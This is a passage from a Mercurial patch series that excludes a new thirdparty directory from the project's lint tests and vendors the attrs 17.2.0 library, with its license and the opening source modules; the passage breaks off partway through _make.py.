+    'mercurial.thirdparty',
 )
 
 # Whitelist of symbols that can be directly imported.
diff --git a/tests/test-check-code.t b/tests/test-check-code.t
--- a/tests/test-check-code.t
+++ b/tests/test-check-code.t
@@ -7,9 +7,11 @@
 New errors are not allowed. Warnings are strongly discouraged.
 (The writing "no-che?k-code" is for not skipping this file when checking.)
 
-  $ testrepohg locate -X contrib/python-zstandard \
-  > -X hgext/fsmonitor/pywatchman |
-  > sed 's-\\-/-g' | "$check_code" --warnings --per-file=0 - || false
+  $ testrepohg locate \
+  > -X contrib/python-zstandard \
+  > -X hgext/fsmonitor/pywatchman \
+  > -X mercurial/thirdparty \
+  > | sed 's-\\-/-g' | "$check_code" --warnings --per-file=0 - || false
   Skipping i18n/polib.py it has no-che?k-code (glob)
   Skipping mercurial/httpclient/__init__.py it has no-che?k-code (glob)
   Skipping mercurial/httpclient/_readers.py it has no-che?k-code (glob)
diff --git a/tests/test-check-module-imports.t b/tests/test-check-module-imports.t
--- a/tests/test-check-module-imports.t
+++ b/tests/test-check-module-imports.t
@@ -25,6 +25,7 @@
   > -X doc/gendoc.py \
   > -X doc/hgmanpage.py \
   > -X i18n/posplit \
+  > -X mercurial/thirdparty \
   > -X tests/hypothesishelpers.py \
   > -X tests/test-commit-interactive.t \
   > -X tests/test-contrib-check-code.t \
diff --git a/tests/test-check-pylint.t b/tests/test-check-pylint.t
--- a/tests/test-check-pylint.t
+++ b/tests/test-check-pylint.t
@@ -12,6 +12,7 @@
   $ touch $TESTTMP/fakerc
   $ pylint --rcfile=$TESTTMP/fakerc --disable=all \
   >   --enable=W0102 --reports=no \
+  >   --ignore=thirdparty \
   >   mercurial hgdemandimport hgext hgext3rd
    (?)
   ------------------------------------ (?)
# HG changeset patch
# User Siddharth Agarwal <sid0@fb.com>
# Date 1506855858 25200
#      Sun Oct 01 04:04:18 2017 -0700
# Node ID 9fb9f8440b71716ce5026e498de92631de5b30a6
# Parent  41401f502c835c303a048311bfff29226f4f93f7
python3: don't byte mangle third-party packages

Third-party packages are already expected to be dual-version clean.

Differential Revision: https://phab.mercurial-scm.org/D871

diff --git a/mercurial/__init__.py b/mercurial/__init__.py
--- a/mercurial/__init__.py
+++ b/mercurial/__init__.py
@@ -34,6 +34,9 @@
             # selectors2 is already dual-version clean, don't try and mangle it
             if fullname.startswith('mercurial.selectors2'):
                 return None
+            # third-party packages are expected to be dual-version clean
+            if fullname.startswith('mercurial.thirdparty'):
+                return None
             # zstd is already dual-version clean, don't try and mangle it
             if fullname.startswith('mercurial.zstd'):
                 return None
# HG changeset patch
# User Siddharth Agarwal <sid0@fb.com>
# Date 1506856456 25200
#      Sun Oct 01 04:14:16 2017 -0700
# Node ID 765eb17a7eb8f3e57332954423c6b4eecfcb7595
# Parent  9fb9f8440b71716ce5026e498de92631de5b30a6
thirdparty: vendor attrs

The attrs package allows defining namedtuple-like classes with no weird
behavior and no runtime performance cost.

This patch vendors in attrs 17.2.0.

# no-check-commit

Differential Revision: https://phab.mercurial-scm.org/D867

diff --git a/mercurial/thirdparty/__init__.py b/mercurial/thirdparty/__init__.py
new file mode 100644
diff --git a/mercurial/thirdparty/attr/LICENSE.txt b/mercurial/thirdparty/attr/LICENSE.txt
new file mode 100644
--- /dev/null
+++ b/mercurial/thirdparty/attr/LICENSE.txt
@@ -0,0 +1,21 @@
+The MIT License (MIT)
+
+Copyright (c) 2015 Hynek Schlawack
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
diff --git a/mercurial/thirdparty/attr/__init__.py b/mercurial/thirdparty/attr/__init__.py
new file mode 100644
--- /dev/null
+++ b/mercurial/thirdparty/attr/__init__.py
@@ -0,0 +1,71 @@
+from __future__ import absolute_import, division, print_function
+
+from ._funcs import (
+    asdict,
+    assoc,
+    astuple,
+    evolve,
+    has,
+)
+from ._make import (
+    Attribute,
+    Factory,
+    NOTHING,
+    attr,
+    attributes,
+    fields,
+    make_class,
+    validate,
+)
+from ._config import (
+    get_run_validators,
+    set_run_validators,
+)
+from . import exceptions
+from . import filters
+from . import converters
+from . import validators
+
+
+__version__ = "17.2.0"
+
+__title__ = "attrs"
+__description__ = "Classes Without Boilerplate"
+__uri__ = "http://www.attrs.org/"
+__doc__ = __description__ + " <" + __uri__ + ">"
+
+__author__ = "Hynek Schlawack"
+__email__ = "hs@ox.cx"
+
+__license__ = "MIT"
+__copyright__ = "Copyright (c) 2015 Hynek Schlawack"
+
+
+s = attrs = attributes
+ib = attrib = attr
+
+__all__ = [
+    "Attribute",
+    "Factory",
+    "NOTHING",
+    "asdict",
+    "assoc",
+    "astuple",
+    "attr",
+    "attrib",
+    "attributes",
+    "attrs",
+    "converters",
+    "evolve",
+    "exceptions",
+    "fields",
+    "filters",
+    "get_run_validators",
+    "has",
+    "ib",
+    "make_class",
+    "s",
+    "set_run_validators",
+    "validate",
+    "validators",
+]
diff --git a/mercurial/thirdparty/attr/_compat.py b/mercurial/thirdparty/attr/_compat.py
new file mode 100644
--- /dev/null
+++ b/mercurial/thirdparty/attr/_compat.py
@@ -0,0 +1,90 @@
+from __future__ import absolute_import, division, print_function
+
+import sys
+import types
+
+
+PY2 = sys.version_info[0] == 2
+
+
+if PY2:
+    from UserDict import IterableUserDict
+
+    # We 'bundle' isclass instead of using inspect as importing inspect is
+    # fairly expensive (order of 10-15 ms for a modern machine in 2016)
+    def isclass(klass):
+        return isinstance(klass, (type, types.ClassType))
+
+    # TYPE is used in exceptions, repr(int) is different on Python 2 and 3.
+    TYPE = "type"
+
+    def iteritems(d):
+        return d.iteritems()
+
+    def iterkeys(d):
+        return d.iterkeys()
+
+    # Python 2 is bereft of a read-only dict proxy, so we make one!
+    class ReadOnlyDict(IterableUserDict):
+        """
+        Best-effort read-only dict wrapper.
+        """
+
+        def __setitem__(self, key, val):
+            # We gently pretend we're a Python 3 mappingproxy.
+            raise TypeError("'mappingproxy' object does not support item "
+                            "assignment")
+
+        def update(self, _):
+            # We gently pretend we're a Python 3 mappingproxy.
+            raise AttributeError("'mappingproxy' object has no attribute "
+                                 "'update'")
+
+        def __delitem__(self, _):
+            # We gently pretend we're a Python 3 mappingproxy.
+            raise TypeError("'mappingproxy' object does not support item "
+                            "deletion")
+
+        def clear(self):
+            # We gently pretend we're a Python 3 mappingproxy.
+            raise AttributeError("'mappingproxy' object has no attribute "
+                                 "'clear'")
+
+        def pop(self, key, default=None):
+            # We gently pretend we're a Python 3 mappingproxy.
+            raise AttributeError("'mappingproxy' object has no attribute "
+                                 "'pop'")
+
+        def popitem(self):
+            # We gently pretend we're a Python 3 mappingproxy.
+            raise AttributeError("'mappingproxy' object has no attribute "
+                                 "'popitem'")
+
+        def setdefault(self, key, default=None):
+            # We gently pretend we're a Python 3 mappingproxy.
+            raise AttributeError("'mappingproxy' object has no attribute "
+                                 "'setdefault'")
+
+        def __repr__(self):
+            # Override to be identical to the Python 3 version.
+            return "mappingproxy(" + repr(self.data) + ")"
+
+    def metadata_proxy(d):
+        res = ReadOnlyDict()
+        res.data.update(d)  # We blocked update, so we have to do it like this.
+        return res
+
+else:
+    def isclass(klass):
+        return isinstance(klass, type)
+
+    TYPE = "class"
+
+    def iteritems(d):
+        return d.items()
+
+    def iterkeys(d):
+        return d.keys()
+
+    def metadata_proxy(d):
+        return types.MappingProxyType(dict(d))
diff --git a/mercurial/thirdparty/attr/_config.py b/mercurial/thirdparty/attr/_config.py
new file mode 100644
--- /dev/null
+++ b/mercurial/thirdparty/attr/_config.py
@@ -0,0 +1,23 @@
+from __future__ import absolute_import, division, print_function
+
+
+__all__ = ["set_run_validators", "get_run_validators"]
+
+_run_validators = True
+
+
+def set_run_validators(run):
+    """
+    Set whether or not validators are run.  By default, they are run.
+    """
+    if not isinstance(run, bool):
+        raise TypeError("'run' must be bool.")
+    global _run_validators
+    _run_validators = run
+
+
+def get_run_validators():
+    """
+    Return whether or not validators are run.
+    """
+    return _run_validators
diff --git a/mercurial/thirdparty/attr/_funcs.py b/mercurial/thirdparty/attr/_funcs.py
new file mode 100644
--- /dev/null
+++ b/mercurial/thirdparty/attr/_funcs.py
@@ -0,0 +1,212 @@
+from __future__ import absolute_import, division, print_function
+
+import copy
+
+from ._compat import iteritems
+from ._make import NOTHING, fields, _obj_setattr
+from .exceptions import AttrsAttributeNotFoundError
+
+
+def asdict(inst, recurse=True, filter=None, dict_factory=dict,
+           retain_collection_types=False):
+    """
+    Return the ``attrs`` attribute values of *inst* as a dict.
+
+    Optionally recurse into other ``attrs``-decorated classes.
+
+    :param inst: Instance of an ``attrs``-decorated class.
+    :param bool recurse: Recurse into classes that are also
+        ``attrs``-decorated.
+    :param callable filter: A callable whose return code deteremines whether an
+        attribute or element is included (``True``) or dropped (``False``).  Is
+        called with the :class:`attr.Attribute` as the first argument and the
+        value as the second argument.
+    :param callable dict_factory: A callable to produce dictionaries from.  For
+        example, to produce ordered dictionaries instead of normal Python
+        dictionaries, pass in ``collections.OrderedDict``.
+    :param bool retain_collection_types: Do not convert to ``list`` when
+        encountering an attribute whose type is ``tuple`` or ``set``.  Only
+        meaningful if ``recurse`` is ``True``.
+
+    :rtype: return type of *dict_factory*
+
+    :raise attr.exceptions.NotAnAttrsClassError: If *cls* is not an ``attrs``
+        class.
+
+    ..  versionadded:: 16.0.0 *dict_factory*
+    ..  versionadded:: 16.1.0 *retain_collection_types*
+    """
+    attrs = fields(inst.__class__)
+    rv = dict_factory()
+    for a in attrs:
+        v = getattr(inst, a.name)
+        if filter is not None and not filter(a, v):
+            continue
+        if recurse is True:
+            if has(v.__class__):
+                rv[a.name] = asdict(v, recurse=True, filter=filter,
+                                    dict_factory=dict_factory)
+            elif isinstance(v, (tuple, list, set)):
+                cf = v.__class__ if retain_collection_types is True else list
+                rv[a.name] = cf([
+                    asdict(i, recurse=True, filter=filter,
+                           dict_factory=dict_factory)
+                    if has(i.__class__) else i
+                    for i in v
+                ])
+            elif isinstance(v, dict):
+                df = dict_factory
+                rv[a.name] = df((
+                    asdict(kk, dict_factory=df) if has(kk.__class__) else kk,
+                    asdict(vv, dict_factory=df) if has(vv.__class__) else vv)
+                    for kk, vv in iteritems(v))
+            else:
+                rv[a.name] = v
+        else:
+            rv[a.name] = v
+    return rv
+
+
+def astuple(inst, recurse=True, filter=None, tuple_factory=tuple,
+            retain_collection_types=False):
+    """
+    Return the ``attrs`` attribute values of *inst* as a tuple.
+
+    Optionally recurse into other ``attrs``-decorated classes.
+
+    :param inst: Instance of an ``attrs``-decorated class.
+    :param bool recurse: Recurse into classes that are also
+        ``attrs``-decorated.
+    :param callable filter: A callable whose return code determines whether an
+        attribute or element is included (``True``) or dropped (``False``).  Is
+        called with the :class:`attr.Attribute` as the first argument and the
+        value as the second argument.
+    :param callable tuple_factory: A callable to produce tuples from.  For
+        example, to produce lists instead of tuples.
+    :param bool retain_collection_types: Do not convert to ``list``
+        or ``dict`` when encountering an attribute which type is
+        ``tuple``, ``dict`` or ``set``.  Only meaningful if ``recurse`` is
+        ``True``.
+
+    :rtype: return type of *tuple_factory*
+
+    :raise attr.exceptions.NotAnAttrsClassError: If *cls* is not an ``attrs``
+        class.
+
+    ..  versionadded:: 16.2.0
+    """
+    attrs = fields(inst.__class__)
+    rv = []
+    retain = retain_collection_types  # Very long. :/
+    for a in attrs:
+        v = getattr(inst, a.name)
+        if filter is not None and not filter(a, v):
+            continue
+        if recurse is True:
+            if has(v.__class__):
+                rv.append(astuple(v, recurse=True, filter=filter,
+                                  tuple_factory=tuple_factory,
+                                  retain_collection_types=retain))
+            elif isinstance(v, (tuple, list, set)):
+                cf = v.__class__ if retain is True else list
+                rv.append(cf([
+                    astuple(j, recurse=True, filter=filter,
+                            tuple_factory=tuple_factory,
+                            retain_collection_types=retain)
+                    if has(j.__class__) else j
+                    for j in v
+                ]))
+            elif isinstance(v, dict):
+                df = v.__class__ if retain is True else dict
+                rv.append(df(
+                        (
+                            astuple(
+                                kk,
+                                tuple_factory=tuple_factory,
+                                retain_collection_types=retain
+                            ) if has(kk.__class__) else kk,
+                            astuple(
+                                vv,
+                                tuple_factory=tuple_factory,
+                                retain_collection_types=retain
+                            ) if has(vv.__class__) else vv
+                        )
+                        for kk, vv in iteritems(v)))
+            else:
+                rv.append(v)
+        else:
+            rv.append(v)
+    return rv if tuple_factory is list else tuple_factory(rv)
+
+
+def has(cls):
+    """
+    Check whether *cls* is a class with ``attrs`` attributes.
+
+    :param type cls: Class to introspect.
+    :raise TypeError: If *cls* is not a class.
+
+    :rtype: :class:`bool`
+    """
+    return getattr(cls, "__attrs_attrs__", None) is not None
+
+
+def assoc(inst, **changes):
+    """
+    Copy *inst* and apply *changes*.
+
+    :param inst: Instance of a class with ``attrs`` attributes.
+    :param changes: Keyword changes in the new copy.
+
+    :return: A copy of inst with *changes* incorporated.
+
+    :raise attr.exceptions.AttrsAttributeNotFoundError: If *attr_name* couldn't
+        be found on *cls*.
+    :raise attr.exceptions.NotAnAttrsClassError: If *cls* is not an ``attrs``
+        class.
+
+    ..  deprecated:: 17.1.0
+        Use :func:`evolve` instead.
+    """
+    import warnings
+    warnings.warn("assoc is deprecated and will be removed after 2018/01.",
+                  DeprecationWarning)
+    new = copy.copy(inst)
+    attrs = fields(inst.__class__)
+    for k, v in iteritems(changes):
+        a = getattr(attrs, k, NOTHING)
+        if a is NOTHING:
+            raise AttrsAttributeNotFoundError(
+                "{k} is not an attrs attribute on {cl}."
+                .format(k=k, cl=new.__class__)
+            )
+        _obj_setattr(new, k, v)
+    return new
+
+
+def evolve(inst, **changes):
+    """
+    Create a new instance, based on *inst* with *changes* applied.
+
+    :param inst: Instance of a class with ``attrs`` attributes.
+    :param changes: Keyword changes in the new copy.
+
+    :return: A copy of inst with *changes* incorporated.
+
+    :raise TypeError: If *attr_name* couldn't be found in the class
+        ``__init__``.
+    :raise attr.exceptions.NotAnAttrsClassError: If *cls* is not an ``attrs``
+        class.
+
+    ..  versionadded:: 17.1.0
+    """
+    cls = inst.__class__
+    attrs = fields(cls)
+    for a in attrs:
+        if not a.init:
+            continue
+        attr_name = a.name  # To deal with private attributes.
+        init_name = attr_name if attr_name[0] != "_" else attr_name[1:]
+        if init_name not in changes:
+            changes[init_name] = getattr(inst, attr_name)
+    return cls(**changes)
diff --git a/mercurial/thirdparty/attr/_make.py b/mercurial/thirdparty/attr/_make.py
new file mode 100644
--- /dev/null
+++ b/mercurial/thirdparty/attr/_make.py
@@ -0,0 +1,1059 @@
+from __future__ import absolute_import, division, print_function
+
+import hashlib
+import linecache
+
+from operator import itemgetter
+
+from . import _config
+from ._compat import PY2, iteritems, isclass, iterkeys, metadata_proxy
+from .exceptions import (
+    DefaultAlreadySetError,
+    FrozenInstanceError,
+    NotAnAttrsClassError,
+)
+
+
+# This is used at least twice, so cache it here.
+_obj_setattr = object.__setattr__
+_init_convert_pat = "__attr_convert_{}"
+_init_factory_pat = "__attr_factory_{}"
+_tuple_property_pat = "    {attr_name} = property(itemgetter({index}))"
+_empty_metadata_singleton = metadata_proxy({})
+
+
+class _Nothing(object):
+    """
+    Sentinel class to indicate the lack of a value when ``None`` is ambiguous.
+
+    All instances of `_Nothing` are equal.
+    """
+    def __copy__(self):
+        return self
+
+    def __deepcopy__(self, _):
+        return self
+
+    def __eq__(self, other):
+        return other.__class__ == _Nothing
+
+    def __ne__(self, other):
+        return not self == other
+
+    def __repr__(self):
+        return "NOTHING"
+
+    def __hash__(self):
+        return 0xdeadbeef
+
+
+NOTHING = _Nothing()
+"""
+Sentinel to indicate the lack of a value when ``None`` is ambiguous.
+"""
+
+
+def attr(default=NOTHING, validator=None,
+         repr=True, cmp=True, hash=None, init=True,
+         convert=None, metadata={}):
+    """
+    Create a new attribute on a class.
+
+    ..  warning::
+
+        Does *not* do anything unless the class is also decorated with
+        :func:`attr.s`!
+
+    :param default: A value that is used if an ``attrs``-generated ``__init__``
+        is used and no value is passed while instantiating or the attribute is
+        excluded using ``init=False``.
+
+        If the value is an instance of :class:`Factory`, its callable will be
+        used to construct a new value (useful for mutable datatypes like lists
+        or dicts).
+
+        If a default is not set (or set manually to ``attr.NOTHING``), a value
+        *must* be supplied when instantiating; otherwise a :exc:`TypeError`
+        will be raised.
+
+        The default can also be set using decorator notation as shown below.
+
+    :type default: Any value.
+
+    :param validator: :func:`callable` that is called by ``attrs``-generated
+        ``__init__`` methods after the instance has been initialized.  They
+        receive the initialized instance, the :class:`Attribute`, and the
+        passed value.
+
+        The return value is *not* inspected so the validator has to throw an
+        exception itself.
+
+        If a ``list`` is passed, its items are treated as validators and must
+        all pass.
+
+        Validators can be globally disabled and re-enabled using
+        :func:`get_run_validators`.
+
+        The validator can also be set using decorator notation as shown below.
+
+    :type validator: ``callable`` or a ``list`` of ``callable``\ s.
+
+    :param bool repr: Include this attribute in the generated ``__repr__``
+        method.
+    :param bool cmp: Include this attribute in the generated comparison methods
+        (``__eq__`` et al).
+    :param hash: Include this attribute in the generated ``__hash__``
+        method.  If ``None`` (default), mirror *cmp*'s value.  This is the
+        correct behavior according the Python spec.  Setting this value to
+        anything else than ``None`` is *discouraged*.
+    :type hash: ``bool`` or ``None``
+    :param bool init: Include this attribute in the generated ``__init__``
+        method.  It is possible to set this to ``False`` and set a default
+        value.  In that case this attributed is unconditionally initialized
+        with the specified default value or factory.
+    :param callable convert: :func:`callable` that is called by
+        ``attrs``-generated ``__init__`` methods to convert attribute's value
+        to the desired format.  It is given the passed-in value, and the
+        returned value will be used as the new value of the attribute.  The
+        value is converted before being passed to the validator, if any.
+    :param metadata: An arbitrary mapping, to be used by third-party
+        components.  See :ref:`extending_metadata`.
+
+    ..  versionchanged:: 17.1.0 *validator* can be a ``list`` now.
+    ..  versionchanged:: 17.1.0
+        *hash* is ``None`` and therefore mirrors *cmp* by default .
+    """
+    if hash is not None and hash is not True and hash is not False:
+        raise TypeError(
+            "Invalid value for hash.  Must be True, False, or None."
+        )
+    return _CountingAttr(
+        default=default,
+        validator=validator,
+        repr=repr,
+        cmp=cmp,
+        hash=hash,
+        init=init,
+        convert=convert,
+        metadata=metadata,
+    )
+
+
+def _make_attr_tuple_class(cls_name, attr_names):
+    """
+    Create a tuple subclass to hold `Attribute`s for an `attrs` class.
+
+    The subclass is a bare tuple with properties for names.
+
+    class MyClassAttributes(tuple):
+        __slots__ = ()
+        x = property(itemgetter(0))
+    """
+    attr_class_name = "{}Attributes".format(cls_name)
+    attr_class_template = [
+        "class {}(tuple):".format(attr_class_name),
+        "    __slots__ = ()",
+    ]
+    if attr_names:
+        for i, attr_name in enumerate(attr_names):
+            attr_class_template.append(_tuple_property_pat.format(
+                index=i,
+                attr_name=attr_name,
+            ))
+    else:
+        attr_class_template.append("    pass")
+    globs = {"itemgetter": itemgetter}
+    eval(compile("\n".join(attr_class_template), "", "exec"), globs)
+    return globs[attr_class_name]
+
+
+def _transform_attrs(cls, these):
+    """
+    Transforms all `_CountingAttr`s on a class into `Attribute`s and saves the
+    list in `__attrs_attrs__`.
+
+    If *these* is passed, use that and don't look for them on the class.
+    """
+    super_cls = []
+    for c in reversed(cls.__mro__[1:-1]):
+        sub_attrs = getattr(c, "__attrs_attrs__", None)
+        if sub_attrs is not None:
+            super_cls.extend(a for a in sub_attrs if a not in super_cls)
+    if these is None:
+        ca_list = [(name, attr)
+                   for name, attr
+                   in cls.__dict__.items()
+                   if isinstance(attr, _CountingAttr)]
+    else:
+        ca_list = [(name, ca)
+                   for name, ca
+                   in iteritems(these)]
+
+    non_super_attrs = [
+        Attribute.from_counting_attr(name=attr_name, ca=ca)
+        for attr_name, ca
+        in sorted(ca_list, key=lambda e: e[1].counter)
+    ]
+    attr_names = [a.name for a in super_cls + non_super_attrs]
+
+    AttrsClass = _make_attr_tuple_class(cls.__name__, attr_names)
+
+    cls.__attrs_attrs__ = AttrsClass(super_cls + [
+        Attribute.from_counting_attr(name=attr_name, ca=ca)
+        for attr_name, ca
+        in sorted(ca_list, key=lambda e: e[1].counter)
+    ])
+
+    had_default = False
+    for a in cls.__attrs_attrs__:
+        if these is None and a not in super_cls:
+            setattr(cls, a.name, a)
+        if had_default is True and a.default is NOTHING and a.init is True:
+            raise ValueError(
+                "No mandatory attributes allowed after an attribute with a "
+                "default value or factory.  Attribute in question: {a!r}"
+                .format(a=a)
+            )
+        elif had_default is False and \
+                a.default is not NOTHING and \
+                a.init is not False:
+            had_default = True
+
+
+def _frozen_setattrs(self, name, value):
+    """
+    Attached to frozen classes as __setattr__.
+    """
+    raise FrozenInstanceError()
+
+
+def _frozen_delattrs(self, name):
+    """
+    Attached to frozen classes as __delattr__.
+    """
+    raise FrozenInstanceError()
+
+
+def attributes(maybe_cls=None, these=None, repr_ns=None,
+               repr=True, cmp=True, hash=None, init=True,
+               slots=False, frozen=False, str=False):
+    r"""
+    A class decorator that adds `dunder
+    <https://wiki.python.org/moin/DunderAlias>`_\ -methods according to the
+    specified attributes using :func:`attr.ib` or the *these* argument.
+
+    :param these: A dictionary of name to :func:`attr.ib` mappings.  This is
+        useful to avoid the definition of your attributes within the class body
+        because you can't (e.g. if you want to add ``__repr__`` methods to
+        Django models) or don't want to.
+
+        If *these* is not ``None``, ``attrs`` will *not* search the class body
+        for attributes.
+
+    :type these: :class:`dict` of :class:`str` to :func:`attr.ib`
+
+    :param str repr_ns: When using nested classes, there's no way in Python 2
+        to automatically detect that.  Therefore it's possible to set the
+        namespace explicitly for a more meaningful ``repr`` output.
+    :param bool repr: Create a ``__repr__`` method with a human readable
+        represantation of ``attrs`` attributes..
+    :param bool str: Create a ``__str__`` method that is identical to
+        ``__repr__``.  This is usually not necessary except for
+        :class:`Exception`\ s.
+    :param bool cmp: Create ``__eq__``, ``__ne__``, ``__lt__``, ``__le__``,
+        ``__gt__``, and ``__ge__`` methods that compare the class as if it were
+        a tuple of its ``attrs`` attributes.  But the attributes are *only*
+        compared, if the type of both classes is *identical*!
+    :param hash: If ``None`` (default), the ``__hash__`` method is generated
+        according how *cmp* and *frozen* are set.
+
+        1. If *both* are True, ``attrs`` will generate a ``__hash__`` for you.
+        2. If *cmp* is True and *frozen* is False, ``__hash__`` will be set to
+           None, marking it unhashable (which it is).
+        3. If *cmp* is False, ``__hash__`` will be left untouched meaning the
+           ``__hash__`` method of the superclass will be used (if superclass is
+           ``object``, this means it will fall back to id-based hashing.).
+
+        Although not recommended, you can decide for yourself and force
+        ``attrs`` to create one (e.g. if the class is immutable even though you
+        didn't freeze it programmatically) by passing ``True`` or not.  Both of
+        these cases are rather special and should be used carefully.
+
+        See the `Python documentation \
+        <https://docs.python.org/3/reference/datamodel.html#object.__hash__>`_
+        and the `GitHub issue that led to the default behavior \
+        <https://github.com/python-attrs/attrs/issues/136>`_ for more details.
+    :type hash: ``bool`` or ``None``
+    :param bool init: Create a ``__init__`` method that initialiazes the
+        ``attrs`` attributes.  Leading underscores are stripped for the
+        argument name.  If a ``__attrs_post_init__`` method exists on the
+        class, it will be called after the class is fully initialized.
+    :param bool slots: Create a slots_-style class that's more
+        memory-efficient.  See :ref:`slots` for further ramifications.
+    :param bool frozen: Make instances immutable after initialization.  If
+        someone attempts to modify a frozen instance,
+        :exc:`attr.exceptions.FrozenInstanceError` is raised.
+
+        Please note:
+
+            1. This is achieved by installing a custom ``__setattr__`` method
+               on your class so you can't implement an own one.
+
+            2. True immutability is impossible in Python.
+
+            3. This *does* have a minor a runtime performance :ref:`impact
+               <how-frozen>` when initializing new instances.  In other words:
+               ``__init__`` is slightly slower with ``frozen=True``.
+
+            4. If a class is frozen, you cannot modify ``self`` in
+               ``__attrs_post_init__`` or a self-written ``__init__``. You can
+               circumvent that limitation by using
+               ``object.__setattr__(self, "attribute_name", value)``.
+
+        ..  _slots: https://docs.python.org/3.5/reference/datamodel.html#slots
+
+    ..  versionadded:: 16.0.0 *slots*
+    ..  versionadded:: 16.1.0 *frozen*
+    ..  versionadded:: 16.3.0 *str*, and support for ``__attrs_post_init__``.
+    ..  versionchanged::
+            17.1.0 *hash* supports ``None`` as value which is also the default
+            now.
+    """
+    def wrap(cls):
+        if getattr(cls, "__class__", None) is None:
+            raise TypeError("attrs only works with new-style classes.")
+
+        if repr is False and str is True:
+            raise ValueError(
+                "__str__ can only be generated if a __repr__ exists."
+            )
+
+        if slots:
+            # Only need this later if we're using slots.
+            if these is None:
+                ca_list = [name
+                           for name, attr
+                           in cls.__dict__.items()
+                           if isinstance(attr, _CountingAttr)]
+            else:
+                ca_list = list(iterkeys(these))
+        _transform_attrs(cls, these)
+
+        # Can't just re-use frozen name because Python's scoping. :(
+        # Can't compare function objects because Python 2 is terrible. :(
+        effectively_frozen = _has_frozen_superclass(cls) or frozen
+        if repr is True:
+            cls = _add_repr(cls, ns=repr_ns)
+        if str is True:
+            cls.__str__ = cls.__repr__
+        if cmp is True:
+            cls = _add_cmp(cls)
+
+        if hash is not True and hash is not False and hash is not None:
+            raise TypeError(
+                "Invalid value for hash.  Must be True, False, or None."
+            )
+        elif hash is False or (hash is None and cmp is False):
+            pass
+        elif hash is True or (hash is None and cmp is True and frozen is True):
+            cls = _add_hash(cls)
+        else:
+            cls.__hash__ = None
+
+        if init is True:
+            cls = _add_init(cls, effectively_frozen)
+        if effectively_frozen is True:
+            cls.__setattr__ = _frozen_setattrs
+            cls.__delattr__ = _frozen_delattrs
+            if slots is True:
+                # slots and frozen require __getstate__/__setstate__ to work
+                cls = _add_pickle(cls)
+        if slots is True:
+            cls_dict = dict(cls.__dict__)
+            cls_dict["__slots__"] = tuple(ca_list)
+            for ca_name in ca_list:
+                # It might not actually be in there, e.g. if using 'these'.
+                cls_dict.pop(ca_name, None)
+            cls_dict.pop("__dict__", None)
+
+            qualname = getattr(cls, "__qualname__", None)
+            cls = type(cls)(cls.__name__, cls.__bases__, cls_dict)
+            if qualname is not None:
+                cls.__qualname__ = qualname
+
+        return cls
+
+    # attrs_or class type depends on the usage of the decorator.  It's a class
+    # if it's used as `@attributes` but ``None`` if used # as `@attributes()`.
+    if maybe_cls is None:
+        return wrap
+    else:
+        return wrap(maybe_cls)
+
+
+if PY2:
+    def _has_frozen_superclass(cls):
+        """
+        Check whether *cls* has a frozen ancestor by looking at its
+        __setattr__.
+        """
+        return (
+            getattr(
+                cls.__setattr__, "__module__", None
+            ) == _frozen_setattrs.__module__ and
+            cls.__setattr__.__name__ == _frozen_setattrs.__name__
+        )
+else:
+    def _has_frozen_superclass(cls):
+        """
+        Check whether *cls* has a frozen ancestor by looking at its
+        __setattr__.
+        """
+        return cls.__setattr__ == _frozen_setattrs
+
+
+def _attrs_to_tuple(obj, attrs):
+    """
+    Create a tuple of all values of *obj*'s *attrs*.
+    """
+    return tuple(getattr(obj, a.name) for a in attrs)
+
+
+def _add_hash(cls, attrs=None):
+    """
+    Add a hash method to *cls*.
+    """
+    if attrs is None:
+        attrs = [a
+                 for a in cls.__attrs_attrs__
+                 if a.hash is True or (a.hash is None and a.cmp is True)]
+
+    def hash_(self):
+        """
+        Automatically created by attrs.
+        """
+        return hash(_attrs_to_tuple(self, attrs))
+
+    cls.__hash__ = hash_
+    return cls
+
+
+def _add_cmp(cls, attrs=None):
+    """
+    Add comparison methods to *cls*.
+    """
+    if attrs is None:
+        attrs = [a for a in cls.__attrs_attrs__ if a.cmp]
+
+    def attrs_to_tuple(obj):
+        """
+        Save us some typing.
+        """
+        return _attrs_to_tuple(obj, attrs)
+
+    def eq(self, other):
+        """
+        Automatically created by attrs.
+        """
+        if other.__class__ is self.__class__:
+            return attrs_to_tuple(self) == attrs_to_tuple(other)
+        else:
+            return NotImplemented
+
+    def ne(self, other):
+        """
+        Automatically created by attrs.
+        """
+        result = eq(self, other)
+        if result is NotImplemented:
+            return NotImplemented
+        else:
+            return not result
+
+    def lt(self, other):
+        """
+        Automatically created by attrs.
+        """
+        if isinstance(other, self.__class__):
+            return attrs_to_tuple(self) < attrs_to_tuple(other)
+        else:
+            return NotImplemented
+
+    def le(self, other):
+        """
+        Automatically created by attrs.
+        """
+        if isinstance(other, self.__class__):
+            return attrs_to_tuple(self) <= attrs_to_tuple(other)
+        else:
+            return NotImplemented
+
+    def gt(self, other):
+        """
+        Automatically created by attrs.
+        """
+        if isinstance(other, self.__class__):
+            return attrs_to_tuple(self) > attrs_to_tuple(other)
+        else:
+            return NotImplemented
+
+    def ge(self, other):
+        """
+        Automatically created by attrs.
+        """
+        if isinstance(other, self.__class__):
+            return attrs_to_tuple(self) >= attrs_to_tuple(other)
+        else:
+            return NotImplemented
+
+    cls.__eq__ = eq
+    cls.__ne__ = ne
+    cls.__lt__ = lt
+    cls.__le__ = le
+    cls.__gt__ = gt
+    cls.__ge__ = ge
+
+    return cls
+
+
+def _add_repr(cls, ns=None, attrs=None):
+    """
+    Add a repr method to *cls*.
+    """
+    if attrs is None:
+        attrs = [a for a in cls.__attrs_attrs__ if a.repr]
+
